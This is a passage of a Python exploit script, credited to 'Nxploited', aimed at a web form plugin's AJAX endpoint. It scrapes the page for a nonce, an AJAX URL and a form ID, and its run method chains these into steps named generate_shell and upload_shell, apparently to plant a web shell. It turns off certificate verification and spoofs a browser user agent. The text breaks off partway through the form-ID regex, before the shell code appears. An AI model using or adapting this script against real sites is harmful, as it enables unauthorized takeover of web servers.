import re import requests import argparse import time from colorama import init, Fore, Style # By : Nxploited (Khaled_alenazi) init(autoreset=True) class Nxploited: def __init__(self, target_url): self.target_url = target_url.rstrip("/") self.session = requests.Session() self.session.verify = False requests.packages.urllib3.disable_warnings() self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome Safari" }) self.nonce = None self.ajax_url = None self.form_id = None def run(self): print(Fore.CYAN + "Starting exploit against target...") time.sleep(1) self.fetch_target_page() self.extract_parameters() self.generate_shell() self.upload_shell() def fetch_target_page(self): print(Fore.YELLOW + "Fetching target page...") response = self.session.get(self.target_url) if response.status_code != 200: raise Exception("Failed to fetch target page") self.page_content = response.text def extract_parameters(self): print(Fore.YELLOW + "Extracting parameters...") time.sleep(0.8) self.nonce = self.extract_nonce() self.ajax_url = self.extract_ajax_url() self.form_id = self.extract_form_id() self.print_info("Extracted Nonce", self.nonce, Fore.GREEN) time.sleep(0.3) self.print_info("AJAX Endpoint", self.ajax_url, Fore.GREEN) time.sleep(0.3) self.print_info("Form ID", self.form_id, Fore.GREEN) if not all([self.nonce, self.ajax_url, self.form_id]): raise Exception("Missing required parameters") def extract_nonce(self): match = re.search(r'"nonce":"([a-f0-9]+)"', self.page_content) return match.group(1) if match else None def extract_ajax_url(self): match = re.search(r'"ajaxurl":"(http[^"]+)"', self.page_content) return match.group(1).replace("\\/", "/") if match else None def extract_form_id(self): match = re.search(r'